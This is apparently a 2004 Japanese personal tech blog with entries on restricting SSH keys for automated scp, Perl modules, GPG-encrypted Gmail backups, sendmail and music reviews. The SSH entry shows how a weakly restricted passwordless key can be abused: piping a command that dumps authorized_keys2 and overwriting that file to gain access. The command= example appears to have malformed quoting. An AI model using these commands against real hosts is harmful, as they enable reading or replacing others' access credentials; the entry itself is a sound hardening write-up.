生成した公開鍵 ~/.ssh/auto_execute.pub に from="*.example.com",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty オプションを付加し、リモートサーバの ~/.ssh/authorized_keys2 に追加。

下記は公開鍵の例。引用の際に改行を入れてしまっているが、実際は一行。
# 2004-11-22 追記。
# 以下の公開鍵のオプション指定では権限を限定できていない。
# 権限を限定できている公開鍵の例は、
# 後述の「できることを限定した自動実行用の鍵で ssh 接続してみる」の項を参照。

from="*.example.com",no-port-forwarding,no-X11-forwarding,
no-agent-forwarding,no-pty ssh-dss AAAAB3NzaC1kc
3MAAACBAKZhqMdcujcJgGOCIsi+PrmkEEaAy/gpRPpB3Q5OA
wNG+PwTdU5O8/NPde64wNux4XNUB7XkV2eXWfaTZRYyYe0oC
XeJMh2LKZ/a/F3Wu283uuExSZhbkt3Dcv3+u6oyjBzIfNU+P
(以下略)

2004-11-22 追記。上記の鍵に付けたオプションだけでは無意味という指摘を頂いた。

ssh scp sftp の正しい自動実行方法
http://www.banana-fish.com/~piro/20041122.html#p01
えっと、authorized_keys自体を書き換えられる権限を、パスフレーズなしの鍵に与えてしまうと、結局ノーガードと同じことになってしまうです。悪い人の鍵でなんでもできるようにしたauthorized_keysをリモートにscpして一丁あがり。

あと、これも時々目にする勘違いだけど、「no-pty」は仮想端末とれなくなるだけで、シェルが取れなくなるわけじゃないので、仮想端末取らないで「ssh remotehost '/bin/sh' < 悪のスクリプト」とかやるだけの話。

指摘の通り、上記の鍵では ~/.ssh/authorized_keys2 に scp されることを防げないので意味がない。

また、command="" が無い場合、以下のようにシェルに直接コマンドを送り込むことができる。試したら authorized_keys2 の中身がローカルの端末に表示された。
$ echo "cat .ssh/authorized_keys2" |ssh -i /home/hiroaki/.ssh/auto remotehost.example.com -l hiroaki

結局、commnad="" を使えない場合は、「正しいssh/scpの自動運転は」 http://www.banana-fish.com/~piro/20040609.html#p06 で提示されていた方法で権限を限定する必要がある。

- 指定したオプションの説明

sshd.0
http://www.unixuser.org/~euske/doc/openssh/jman/sshd.html
authorized_keys ファイルの形式 から抜粋。
authorized_keys ファイルの形式

from="pattern-list"
        このオプションをつけると、公開鍵認証に加えて、クライアントのホス
        トをチェックできるようになります。カンマで区切ったリモートホスト
        名 (canonical name) のパターン列が指定できます (`*' および `?' が
        ワイルドカードとして使えます)。このリストには「〜でない」という否
        定 (negation) を入れることもできます。その場合はパターンの先頭に
        `!' をつけてください。否定つきのパターンにホストの canonical name
        がマッチした場合、この鍵は許可されません。このオプションはセキュ
        リティを上げるためにつけられました: 公開鍵認証それ自体は、(鍵を除
        いて) ネットワークやネームサーバ、その他ありとあらゆるものを信用
        しません。しかし、もし何物かが何らかの方法で鍵を盗むことができれ
        ば、その鍵を使って世界のどこからでもログインできてしまうことにな
        ります。このオプションは、そのような盗まれた鍵を使うことをより困
        難にします (もしこれを使おうとするなら、鍵のほかにネームサーバや
        ルータまでも手を入れなくてはならないからです)。

(略)

command="command"
        このオプションを使うと、認証にこの鍵が使われたときは必ずここで指
        定されたコマンドが実行されるようになります。ユーザが (訳注: クラ
        イアント側で) 指定したコマンドは無視されます。クライアント側が仮
        想端末を要求していれば、ここで指定されたコマンドは仮想端末上で実
        行されます。そうでなければ端末なしで実行されます。 8-bit クリーン
        な通信が欲しい場合は、仮想端末を要求してはいけません。あるいは
        no-pty オプションを使ってください。コマンド文字列中に引用符 (")
        を入れたいときは、バックスラッシュを前につけてください。このオプ
        ションは、ある公開鍵には特定の操作だけしかさせないようにするのに
        有効です。例として、リモートバックアップだけをさせて、それ以外な
        何もさせないような鍵がつくれます。クライアントの TCP/IP や X11 転
        送は、明示的に禁止されていない限り可能なので注意してください。こ
        のオプションはシェル、コマンドまたはサブシステムの実行に適用され
        ます。

no-port-forwarding
        認証にこの鍵が使われたときは TCP/IP 転送が禁止されます。クライア
        ントがポート転送を要求しても、すべてエラーになります。これはたと
        えば command オプションの指定されている接続などで使われます。

no-X11-forwarding
        認証にこの鍵が使われたときは X11 転送が禁止されます。クライアント
        が X11 転送を要求しても、すべてエラーになります。

no-agent-forwarding
        認証にこの鍵が使われたときは、認証エージェントの転送が禁止されま
        す。

no-pty  端末の割り当てを禁止します (仮想端末の割り当てが失敗するようにな
        ります)。

- できることを限定した自動実行用の鍵で ssh 接続してみる

前述の no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty を指定した scp/sftp 用の鍵を使い、putty で sshd に接続。TCP 接続はできるが、
Server refused to allocate pty
と表示されてシェルに入れなかった。no-pty の効果だな。ちなみに putty は CTRL + D で終了できた。

2004-11-22 追記。
前述の通り、上記は仮想端末が割り当てられていないだけで、シェルは使用可能となっている。できることを限定したければ、command="" を指定するか、scponly などのシェルを割り当てる必要がある。

今回は command="" を使う方を試してみた。以下は公開鍵の例。引用時に改行を入れているが、実際は一行。
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,
command="echo $SSH_ORIGINAL_COMMAND; umask 077; f=backup`date +%F-%H%M%S`.tar.bz2.encoded; echo $f; cat >/home/hiroaki/backup/$f;,from="*.example.com"
ssh-dss AAAAB3NzaC1kc
3MAAACBAKZhqMdcujcJgGOCIsi+PrmkEEaAy/gpRPpB3Q5OA
wNG+PwTdU5O8/NPde64wNux4XNUB7XkV2eXWfaTZRYyYe0oC
XeJMh2LKZ/a/F3Wu283uuExSZhbkt3Dcv3+u6oyjBzIfNU+P
(以下略)

ローカルから接続してみる。
$ echo "cat .ssh/authorized_keys2" |ssh -i ~/.ssh/auto $remote_host -l $remote_user
Pseudo-terminal will not be allocated because stdin is not a terminal.

backup2004-11-22-235811.tar.bz2.encoded

リモートに生成された backup2004-11-22-235811.tar.bz2.encoded の中身は以下のようになっていた。
cat .ssh/authorized_keys2

scp も試してみる。

$ scp -oIdentityFile=~/.ssh/auto file $remote_user@$remote_host:~/backup/test
scp -t /home/hiroaki/backup/test

command="" のおかげで、~/backup/test は生成されずに済んだ。

2004-11-15 (Mon)

* ActivePerl + DBI DBD で MySQL を使う

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [MySQL] [Perl]

2004-10-11 の「cygwin の Perl から Windows のMySQL に接続」で書いたように、今までは Cygwin 環境だったので MySQL 接続ドライバに Net::MySQL を使っていた。今回 ActivePerl を入れたので DBI + DBD が使えるようになるはず。Google で DBD DBI MySQL 設定を検索すると、perldoc.jp の文書がヒット。

INSTALL - DBD::mysqlのインストールと構成設定の方法
http://perldoc.jp/docs/modules/DBD-mysql-2.1026/DBD/mysql/IN ...
ActivePerl は DBD::mysqlのPPMアーカイブを提供しています。あなたに必要なことは以下のように打ち込むだけです

  ppm
  install DBI
  install DBD-mysql

スタートメニューの ActiveState ActivePerl 5.8 から Perl Package Manager を起動し、install DBI を入力。あとは勝手にインストールされた。これは簡単だ。

ppm> install DBI
====================
Install 'DBI' version 1.43 in ActivePerl 5.8.4.810.
====================
Downloaded 513616 bytes.
Extracting 69/69: blib/arch/auto/DBI/Driver_xst.h
Installing C:\usr\site\lib\auto\DBI\dbd_xsh.h
Installing C:\usr\site\lib\auto\DBI\DBI.bs
Installing C:\usr\site\lib\auto\DBI\DBI.dll
Installing C:\usr\site\lib\auto\DBI\DBI.exp
Installing C:\usr\site\lib\auto\DBI\DBI.lib
Installing C:\usr\site\lib\auto\DBI\dbipport.h
Installing C:\usr\site\lib\auto\DBI\dbivport.h
Installing C:\usr\site\lib\auto\DBI\DBIXS.h
Installing C:\usr\site\lib\auto\DBI\dbi_sql.h
Installing C:\usr\site\lib\auto\DBI\Driver.xst
Installing C:\usr\site\lib\auto\DBI\Driver_xst.h
Installing C:\usr\html\bin\dbiprof.html
Installing C:\usr\html\bin\dbiproxy.html
Installing C:\usr\html\site\lib\DBI.html
Installing C:\usr\html\site\lib\Bundle\DBI.html
Installing C:\usr\html\site\lib\DBD\DBM.html
Installing C:\usr\html\site\lib\DBD\File.html
Installing C:\usr\html\site\lib\DBD\Proxy.html
Installing C:\usr\html\site\lib\DBD\Sponge.html
Installing C:\usr\html\site\lib\DBI\Changes.html
Installing C:\usr\html\site\lib\DBI\DBD.html
Installing C:\usr\html\site\lib\DBI\FAQ.html
Installing C:\usr\html\site\lib\DBI\Profile.html
Installing C:\usr\html\site\lib\DBI\ProfileData.html
Installing C:\usr\html\site\lib\DBI\ProfileDumper.html
Installing C:\usr\html\site\lib\DBI\ProxyServer.html
Installing C:\usr\html\site\lib\DBI\PurePerl.html
Installing C:\usr\html\site\lib\DBI\W32ODBC.html
Installing C:\usr\html\site\lib\DBI\Const\GetInfoReturn.html
Installing C:\usr\html\site\lib\DBI\Const\GetInfoType.html
Installing C:\usr\html\site\lib\DBI\Const\GetInfo\ANSI.html
Installing C:\usr\html\site\lib\DBI\Const\GetInfo\ODBC.html
Installing C:\usr\html\site\lib\DBI\DBD\Metadata.html
Installing C:\usr\html\site\lib\DBI\ProfileDumper\Apache.html
Installing C:\usr\html\site\lib\DBI\SQL\Nano.html
Installing C:\usr\html\site\lib\Win32\DBIODBC.html
Files found in blib\arch: installing files in blib\lib into architecture depnt library tree
Installing C:\usr\site\lib\DBI.pm
Installing C:\usr\site\lib\Bundle\DBI.pm
Installing C:\usr\site\lib\DBD\DBM.pm
Installing C:\usr\site\lib\DBD\ExampleP.pm
Installing C:\usr\site\lib\DBD\File.pm
Installing C:\usr\site\lib\DBD\NullP.pm
Installing C:\usr\site\lib\DBD\Proxy.pm
Installing C:\usr\site\lib\DBD\Sponge.pm
Installing C:\usr\site\lib\DBI\Changes.pm
Installing C:\usr\site\lib\DBI\DBD.pm
Installing C:\usr\site\lib\DBI\FAQ.pm
Installing C:\usr\site\lib\DBI\Profile.pm
Installing C:\usr\site\lib\DBI\ProfileData.pm
Installing C:\usr\site\lib\DBI\ProfileDumper.pm
Installing C:\usr\site\lib\DBI\ProxyServer.pm
Installing C:\usr\site\lib\DBI\PurePerl.pm
Installing C:\usr\site\lib\DBI\W32ODBC.pm
Installing C:\usr\site\lib\DBI\Const\GetInfoReturn.pm
Installing C:\usr\site\lib\DBI\Const\GetInfoType.pm
Installing C:\usr\site\lib\DBI\Const\GetInfo\ANSI.pm
Installing C:\usr\site\lib\DBI\Const\GetInfo\ODBC.pm
Installing C:\usr\site\lib\DBI\DBD\Metadata.pm
Installing C:\usr\site\lib\DBI\ProfileDumper\Apache.pm
Installing C:\usr\site\lib\DBI\SQL\Nano.pm
Installing C:\usr\site\lib\Win32\DBIODBC.pm
Installing C:\usr\bin\dbiprof
Installing C:\usr\bin\dbiprof.bat
Installing C:\usr\bin\dbiproxy
Installing C:\usr\bin\dbiproxy.bat
Successfully installed DBI version 1.43 in ActivePerl 5.8.4.810.
ppm> install DBD-mysql
====================
Install 'DBD-mysql' version 2.9003 in ActivePerl 5.8.4.810.
====================
Downloaded 178968 bytes.
Extracting 17/17: blib/arch/auto/DBD/mysql/mysql.lib
Installing C:\usr\site\lib\auto\DBD\mysql\mysql.bs
Installing C:\usr\site\lib\auto\DBD\mysql\mysql.dll
Installing C:\usr\site\lib\auto\DBD\mysql\mysql.exp
Installing C:\usr\site\lib\auto\DBD\mysql\mysql.lib
Installing C:\usr\html\site\lib\Mysql.html
Installing C:\usr\html\site\lib\Bundle\DBD\mysql.html
Installing C:\usr\html\site\lib\DBD\mysql.html
Installing C:\usr\html\site\lib\DBD\mysql\INSTALL.html
Files found in blib\arch: installing files in blib\lib into architecture depnt library tree
Installing C:\usr\site\lib\Mysql.pm
Installing C:\usr\site\lib\Bundle\DBD\mysql.pm
Installing C:\usr\site\lib\DBD\mysql.pm
Installing C:\usr\site\lib\DBD\mysql\GetInfo.pm
Installing C:\usr\site\lib\DBD\mysql\INSTALL.pod
Installing C:\usr\site\lib\Mysql\Statement.pm
Successfully installed DBD-mysql version 2.9003 in ActivePerl 5.8.4.810.

2004-11-14 (Sun)

* List::Util Perl 標準の配列操作ライブラリ

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [Perl]

List::Util は配列の最大値、最小値、合計値を取得したり、配列をシャッフルしたりするためのルーチンを集めたPerl モジュール。Perl 標準ではなかったが結構前からあったモジュールらしい。Perl 5.8 から標準ライブラリとして組み込まれたようだ。Scalar-List-Utils が元なのかな?

私ははっきり言って全く知らなかった。あると便利だけどこのくらいなら自分で書いちゃうし、Google で List::Util を検索してもあまりヒットしないしね。

日本語で読める文書は以下のサイトが一番詳しい。
Hash::Util - 便利な配列用関数のピックアップ
http://fleur.hio.jp/~hio/perldoc/mix/lib/List/Util.html

以下、よく使いそうなメソッドと実行結果のサンプル。ワンライナー (One Liner) だけど。

- 配列の要素のうちの最大値を取得

max LIST
$ perl -MList::Util -e  'print List::Util::max(0..9);'
9

- 配列の要素のうちの最小値を取得

min LIST
$ perl -MList::Util -e  'print List::Util::min(0..9);'
0

- 配列の要素の合計値を取得

sum LIST
$ perl -MList::Util -e  'print List::Util::sum(0..9);'
45

- 配列のシャッフル

shuffle LIST
$ perl -MList::Util -e  'print List::Util::shuffle(0..9);'
1697803452

- その他

あんまり使わなそうなものたち。

first BLOCK LIST
LIST の要素を順番に $_ に設定して BLOCK を評価する点で grep と似ています. first は BLOCK が真と評価した最初の要素を返します. BLOCK が一度も真を返さなかったり LIST が空だったときには undef を返します.

$foo = first { defined($_) } @list    # first defined value in @list
                                      # @list で最初に定義されている値.
$foo = first { $_ > $value } @list    # first value in @list which
                                      # is greater than $value
                                      # @list の中で $value より大きい
                                      # 最初の値.

maxstr LIST
max と似ていますが, 全ての要素は文字列として処理され, gt によって一番大きいと評価された文字列を返します

minstr LIST
min と似ていますが, 全ての要素は文字列として処理され, lt によって一番小さいと評価された文字列を返します.

reduce BLOCK LIST
最初に説明を読んだときは、これで何をしたいの? と思った。要するに foreach を使わずに、配列要素同士をいろいろ操作できるんだね。慣れると便利かも。
BLOCK を複数回呼び出して LIST を減少させます. 毎回 $a 及び $b が設定されます. 最初の呼び出しでは $a と $b にはリストの最初の2つの要素が設定されます. その後の呼び出しでは $a に1つ前の呼び出しでの復帰値が, $b にはリストの次の要素が設定されます.
最後の BLOCK の呼び出しの復帰値が返されます. もし LIST が空だったときには undef が返されます. LIST が1つしか値を持っていなかったときには BLOCK を実行することなしにその要素が返されます.

$foo = reduce { $a < $b ? $a : $b } 1..10      # min
$foo = reduce { $a lt $b ? $a : $b } 'aa'..'zz' # minstr
$foo = reduce { $a + $b } 1 .. 10              # sum
$foo = reduce { $a . $b } @bar                  # concat

- List::Util はメソッドをエクスポートしない

List::Util はメソッドをエクスポートしない。
By default List::Util does not export any subroutines.

つまり、use するときは明示的に使うメソッドを記述するか、名前空間付きでメソッドを記述する必要がある。
use List::Util qw(shuffle);

明示しないと以下のようになる。
$ perl -MList::Util -e  'print shuffle(0..9);'
Undefined subroutine &main::shuffle called at -e line 1.

エクスポートしない理由は不明。既存のライブラリとメソッド名が一緒になるから? それじゃあ何のために名前空間があるのかわからないし。

- Hash::Util

Hash::Util というものもあるが、ドキュメントを読むと以下のメソッドしか用意されてない。キーや値を追加できなくしたり、削除できなくしたりするらしい。あんまり使わないだろうなあ。get アクセサしか用意しないメンバを作りたいといった、オブジェクト指向的なアクセス制御に使ったりするのかな?
use Hash::Util qw(lock_keys  unlock_keys
                  lock_value  unlock_value
                  lock_hash  unlock_hash);

2004-11-13 (Sat)

* Perl で配列をシャッフル

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [Perl]

Perl で配列をシャッフルする方法。Perl クックブックに「配列のランダマイズ」として載ってたけどメモ。自分のライブラリにもあるけど、ブラウザからさくっとコピー & ペーストできと便利だしね。

mixi perlならではの便利な短いコードを書き留めたい
http://mixi.jp/view_bbs.pl?id=2041
2004年11月12日 15:03 32: あとむ
#=========================
# 配列を混ぜる
#=========================
# @list=shuffle (@list);
sub shuffle {
    my @list =@_;

    for my $i ( 0..$#list ) {
        my $rand=int(rand(@list));
        my $tmp=$list[$i];
        $list[$i]=$list[$rand];
        $list[$rand]=$tmp;
    }
    @list
}


2004年11月12日 17:28 33: jjx
>>あとむさん
標準モジュールにList::Utilというものがあってその中にshuffleはありますよ

其れはおいておいて自分なりにかいてみました
sub shuffle {
  my @list;
  push( @list, splice(@_, int(rand(@_))) ) while(@_);
  return @list;
}

Perlクックブック〈VOLUME1〉Perlクックブック〈VOLUME1〉

トム クリスチャンセン / ネイザン トーキントン / Tom Christiansen / Nathan Torkington / Shibuya Perl Mongers / ドキュメントシステム
発売日: 2004/09


amazon で詳しく見る

Perlクックブック〈VOLUME2〉Perlクックブック〈VOLUME2〉

トム クリスチャンセン / ネイザン トーキントン / Tom Christiansen / Nathan Torkington / Shibuya Perl Mongers / ドキュメントシステム
発売日: 2004/09


amazon で詳しく見る


- List::Util を使った配列のシャッフル

2004-11-14 追記。
Perl 5.8 から標準ライブラリになった List::Util を使う方法もある。2004-11-14 の「List::Util Perl 標準の配列操作ライブラリ」を参照。
$ perl -MList::Util -e  'print List::Util::shuffle(0..9);'
1697803452

2004-11-12 (Fri)

* Way Out West の Mindcircus Gabriel & Dresden remix

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [音楽]

Way Out West の名曲 Mindcircus の Gabriel & Dresden Remix を収録したアルバムを発見。アテネオリンピックにも出てた DJ TIESTO の In Search of Sunrise 3 というアルバムだ。13曲目の Mindcircus (Gabriel & Dresden remix) - Way Out West がお目当ての曲。


例によって US 盤と UK 盤がある。現時点ではどっちを選ぶか迷うところだ。 US 盤は UK 盤に比べて400円ほど安いけど発送日時が3から5週間となっている。


ところで、なんで TIESTO? Gabriel & Dresden って TIESTO 関係者?

- 本当はオーストラリア版のシングル Mindcircus が欲しかった

{Mindcircus (X6) - Australia [MAXI] [FROM US] [IMPORT]}:amazon:B000066NXI

Mindcircus を初めて聞いたとき、一発で気に入って CD を買おうとした。検索して Mindcircus が6曲入ったオーストラリア版のシングルを見つけたときは、やったー! って思った。でも、いつ見てもずっと在庫切れ。いや、発売と同時に抑えておかなった私が悪いんだけど、でもなあ。

- で、しょうがないからアルバム版の Mindcircus で我慢してたわけですよ

IntensifyIntensify

Way Out West
発売日: 2001/09/18


amazon で詳しく見る

シングル手に入らないならアルバムで聞くしかない。で、買ったのはこれ。これはこれで満足はしてた。

- Way Out West の新譜

先月に Don't Look Now という新譜も出たし、新譜といっしょに TIESTO のアルバム買っちゃおうかなあ。
Don't Look NowDon't Look Now

Way Out West
発売日: 2004/10/05


amazon で詳しく見る

2004-11-10 (Wed)

* GPG の使用する暗号化アルゴリズムを指定

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [gpg]

--cipher-algo オプションで使用する暗号化アルゴリズムを指定できる。
--cipher-algo NAME        use cipher algorithm NAME

使用できる暗号アルゴリズムは gpg --version したときに表示される。

$ gpg --version
gpg (GnuPG) 1.2.4
Copyright (C) 2003 Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See the file COPYING for details.

Home: ~/.gnupg
Supported algorithms:
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA, ELG
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH
Hash: MD5, SHA1, RIPEMD160, SHA256
Compression: Uncompressed, ZIP, ZLIB, BZIP2

2004-01-08 で書いた「gpg でファイルをパスワードだけで 暗号化/復号する」の共通鍵暗号で使われるデフォルトは CAST5。米国政府が AES として採用したそうだし、今後使うならは AES がいいのかな。

サンプル。2004-11-09 の「GMail をバックアップストレージとして使う」シェルスクリプトから抜粋。
echo $PASS_PHRASE | { tar --bzip2 -cf - $TAR_TARGET 2>/dev/null |gpg --batch -c --force-mdc --cipher-algo AES256 --passphrase-fd 3;} 3>&0 >$OUTPUT_PATH

2004-11-09 (Tue)

* GMail をバックアップストレージとして使う

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [Google] [メール] [シェルスクリプト] [バックアップ] [gpg]

GMail の 1GB という容量を生かして、バックアップストレージとして使う方法。

ストレージというと大げさな感じがするが、やってることは暗号化したアーカイブファイルを GMail にメール送信するスクリプトを書き、これを cron で一時間ごとに実行するだけ。GmailFS などを使ってファイルシステムとしてマウントするのも一つの方法だとは思うが、バックアップなんだから安定性重視でいきたいし、こういうのはシンプルな方がいい。

今日の戯言 ChangeLog 主にテキストファイルを gmail にバックアップ
http://apollo.u-gakugei.ac.jp/~sunaoka/clog/2004-11.php#2004 ...
主にテキストファイルを gmail にバックアップするつもりででっち上げてみたが,車輪の再開発のような気がしてならない.

1GB の容量を与えられたらそれを活用しようとする人はたくさんいるし、実装もたくさんあるようなので確かに車輪の再発明かもしれないですね。でも、自分好みの機能やインターフェイスにしたいなら、スクリプトを書いちゃう方が良いと思います。File::MMagic と Compress::Zlib を使って、テキストだったら圧縮するという機能は面白いと思いましたし。

- GMail をバックアップストレージとして使う - 私の場合

私の場合、シェルスクリプトで tar と gpg を呼び出して圧縮と暗号化をおこない、2004-10-092004-11-01 で書いた「添付ファイル付メールを送信する Ruby スクリプト」である samail で SMTP サーバに投げている。

送信先は GMail をはじめとするメールボックス容量に余裕のあるアドレス。メールなので数十メガバイトのファイルのバックアップという用途には適さない。ChangeLog メモのファイルや自分用 CVS リポジトリ、etc ディレクトリなど、小さなものだけをバックアップしている。Gmail のアカウントを取得する前は一日一回だったが、Gmail ができてからは一時間に一回に実行頻度を上げた。

内容にもよるが、外部にデータを持ち出すなら暗号化は必須だと感じている。GnuPG を使えばフリーで強力な暗号を利用可能。具体的には 2004-01-08 で書いた「gpg で標準入力からパスワードを渡してバッチ処理で暗号化」を利用し、GPG の共通鍵暗号で暗号化している。

暗号化アルゴリズムには AES256 (256bit Advanced Encryption Standard) を指定。gpg のデフォルトの CAST5 でも良いと思うけど、AES は NIST (National Institute of Standards and Technology 米国商務省技術標準局) 御用達の暗号化アルゴリズムとのことなので、これを使うことにした。

Perl だったら Crypt::CAST5 や Crypt::Rijndael とか使うのが一般的なのかな?

#!/bin/sh

# gmail_backup.sh
# Archiving, Crypting, and mail sending script
# Copyright (C) 2004 Saito Hiroaki <sonic64@infoseek.jp>
# http://sonic64.com/

# setup
PASS_PHRASE="MY SECRET PASS PHRASE STRING"
TAR_TARGET="/home/hiroaki/log.txt /home/hiroaki/etc /cygdrive/s/cvsroot"
OUTPUT_PATH="/home/hiroaki/tmp/backup.tar.bz2.encoded"
to_address="to@example.com, to@gmail.example.com"
optional_adderss="to@daily.example.com"
from_address="from@example.com"
smtp_server="smtp.example.com"


date
echo $TAR_TARGET
echo $PASS_PHRASE | { tar --bzip2 -cf - $TAR_TARGET |gpg --batch -c --cipher-algo AES256 --force-mdc --passphrase-fd 3;} 3>&0 >$OUTPUT_PATH

echo output to $OUTPUT_PATH
echo archiving complete

if [ `date +%H` -eq 23 ]; then
  to_address="$to_address $optional_adderss"
fi

/usr/local/bin/ruby /home/hiroaki/script/samail -v --to "$to_address" --from $from_address --smtp $smtp_server --subject "[GMail Backup] `date +%c`" --attachment $OUTPUT_PATH

date
echo mail send complete

以前は暗号化した圧縮ファイルの md5 ハッシュを取っておいて、前回と異なったときのみメール送信という動きにしていたが、その機能は外してしまった。そういう意味では一度ファイル出力せずに直接 samail の標準入力に渡した方がシンプルだな。よし、samail の次のバージョンでは標準入力から読み込んだデータを添付ファイルとして送信できるようにしよう。

- gmail_backup.sh の設定方法

# setup のところに設定を書く。
PASS_PHRASE に gpg に渡すパスフレーズ、TAR_TARGET にバックアップしたいファイルやディレクトリのパス、OUTPUT_PATH に暗号化した圧縮ファイルの出力先を記述。あとは To と From と SMTP サーバ名を書いて完了。Ruby のパスを /usr/local/bin/ruby と samail のパスを /home/hiroaki/script/samail とハードコーディングしてるのはあまり良くないかも。

私の場合 cygwin ネイティブのファイルシステムと /cygdrive の両方にバックアップしたいファイルがあるため、/ からフルパスで TAR_TARGET を記述している。このせいで tar に以下のようなメッセージを表示されるけど、実害がないので問題ないだろう。
tar: Removing leading `/' from member names

- GMail 側の設定

Gmail といえども 1GB しか容量がないので、古いバックアップファイルは削除する必要がある。Gmail の Trash ディレクトリは 30日過ぎると削除されるという性質があるので、これを利用する。この性質は Trash を開いたときに出るメッセージに書かれていた。
Note: Trashed messages more than 30 days old will be automatically deleted.

メール送信時に Subject に特徴的な文字列を入れておき、その文字列でフィルタリング。マッチしたメールは自動的に Trash 行きになるように設定する。こうすることで「30日を過ぎたバックアップファイルは自動的に削除」を実現できる。

- メール送信の頻度はどれくらいがよいか

これはもうお好みで良いと思う。一日一回くらいでも充分なんじゃないかと思うが、せっかく容量があるんならいっぱい送っちゃえ、ということで一時間に一回にしている。

一回 1MB のファイルを送るとして、1MB * 24時間 * 30日 = 720MB 、Base64 すると 3分の4倍くらいになるので、それを含めても 1MB * 24時間 * 30日 * 4 / 3 = 960MB。24時間稼働のマシンでなければ頻度はもっと減るし、一日一回にしておけばさらに余裕。ところで、GMail って添付ファイルは Base64 デコードした状態でファイルサイズを計算している気がするんだけど気のせいかな。

- 一日一回だけ別のアドレスを追加して送信

このスクリプトは cron で一時間ごとに起動しているが、23時台に起動したときだけ optional_adderss にセットされた送信先を追加している。Gmail ほどメールボックス容量に余裕がないアドレスなので、一日一回だけの送信にしたいからだ。Gmail の予備として使っている。

if [ `date +%H` -eq 23 ]; then
  to_address="$to_address $optional_adderss"
fi

- 分割すれば巨大ファイルでも OK?

分割すれば数十メガバイト単位の巨大ファイルでもバックアップできるが、いざリストアしようと思ったときに分割したメールを連結するという手間をかけたくない。標準で POP で受信できない場合はなおさら。そういう巨大ファイルは他の方法を使うべきでだ。どうしてもネットワーク経由でのバックアップがしたいなら、2004-03-19 で書いた「Linux: gpg: ftp: ftp + tar + gpgで暗号化ネットワーク・バックアップ」などが使えるかもしれない。

- 正常に復号して圧縮ファイルを展開できるかどうかのテストを忘れずに

バックアップしただけで安心してはいけない。いざという時にに迅速にリストアできなければ意味がない。私は以下のようにして復号と圧縮ファイルの展開をしている。

$ echo "MY SECRET PASS PHRASE STRING" |gpg --passphrase-fd 0 -o - backup.tar.bz2.encoded |tar -x --bzip2
Reading passphrase from file descriptor 0
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase

bzip2: (stdin): trailing garbage after EOF ignored

--force-mdc オプションなしで暗号化したファイルの場合、以下のメッセージが表示されるかも知れない。これについては私も詳しくないので言及しない。とりあえず --force-mdc を付ければ警告は出なくなる。
gpg: WARNING: message was not integrity protected

bzip2 の警告は、末尾になにか余計なデータがあるので無視するよ、というもの。理由は不明。tar の出力を直接 gpg の標準入力に渡しているから?

- 「フッフッフッフッフッフッ まぬけめ! Gmail」「や…やろう まさか!」「きさまのおかげで ストレージ利用がしやすくなったぞッ!」

追記。Gmail が POP3 をサポートするとのこと。

ITmediaニュース:GmailがPOP3サポート、ウイルス対策も提供へ
http://www.itmedia.co.jp/news/articles/0411/11/news010.html

これでさらにストレージとして利用するのが簡単になった。そのうち 読み書き用の API を書く人も出てくるだろうな。POP/SMTP ベースだと遅延があるのでリアルタイム性を要求するアプリケーションには使えないだろうけど、用途を選べば充分使える。

2004-11-07 (Sun)

* sendmail コマンド で envelope-from を指定する

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [メール] [unix]

ユーザーコマンド sendmail (1) で from を指定するには -f を使う。指定できる from は envelope from なので、ヘッダに from を入れたければ sedamail コマンドへの入力文字列中に From ヘッダを含めておかなければならない。

使用例。
$ cat mail_message |/usr/sbin/sendmail -oi -f from@infoseek.jp to@example.com

SENDMAIL(1) sendmail - Postfix Sendmail 互換インターフェース
http://www.kobitosan.net/postfix/jman/sendmail.1.html
-f sender
      エンベロープの送信者アドレスをセットします。これは
      メッセージが Errors-To: メッセージヘッダを含まない
      場合に配送の問題が送られる場所です。

なぜか私の Linux マシンには sendmail(1) の man page がインストールされてなかった。sendmail(8) の man page はある。仕方がないので、postfix の sendmail コマンドの man pageを参照。sendmail 互換コマンドと言ってるし、実際動いたのでこれでいいや。

2004-11-06 (Sat)

* 塊魂サウンドトラック 塊フォルテッシモ魂 レビュー

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [音楽] [ゲーム]

塊魂サウンドトラック 「塊フォルテッシモ魂」塊魂サウンドトラック 「塊フォルテッシモ魂」

ゲーム・ミュージック / NAMCO / 田中雅将 / 新沼謙治 / 椛田早紀
発売日: 2004/05/19


amazon で詳しく見る

PS2 の「塊魂」のサウンドトラック。発売は半年くらい前。買おう買うとおもってたけど、欲しいアルバムがたくさんあって後回しになってた。

- 1曲目 ナナナン魂

塊魂の主旋律部分。聞いた後ずーーーっと頭の中でメロディーが繰り返されて困った。「きみのためなら死ねる」 http://kimishine.sega.jp/ に近い中毒性を持つ。

- 2曲目 塊オンザロック

歌ってるのはクリスタルキングの田中雅之。「You は Shock」の北斗の拳のオープニングのボーカルの人。超有名。イントロの左右にパンする音が気持ちいい。主旋律がストレートに響き、一回聞いたら忘れられない。車で聞いてると歌いたくなる。

- 3曲目 Overture

息抜き。この曲がないと個性的なボーカルばっかりで辛くなる。

- 4曲目 月と王子

「ネガティブな話題を口にするな」あたりが良い。新沼謙治って名前は知らなかったけど、好きになった。

- 5曲目 フーガ#7777

これも息抜き。短いし箸休めにぴったり。飛ばさないで聞こうね。

- 6曲目 LONELY ROLLING STAR

リラックスした感じの歌い方が魅力的。ボーカルの部分が終わって、塊魂のメインテーマに繋がるあたりがすごく良い。

ボーカルの椛田早紀 (かばたさき) って誰? と思って Google で椛田早紀を検索するとはてなのキーワードがヒット。なるほど、ライブ中心に活動しているボーカリストなんだ。

はてなダイアリー - 椛田早紀
http://d.hatena.ne.jp/keyword/%B3%F1%C5%C4%C1%E1%B5%AA?kid=5 ...

ん? よく見るとライナーに主なアーティストの紹介が載ってるじゃん。先に Google に聞く癖がついちゃってるな。

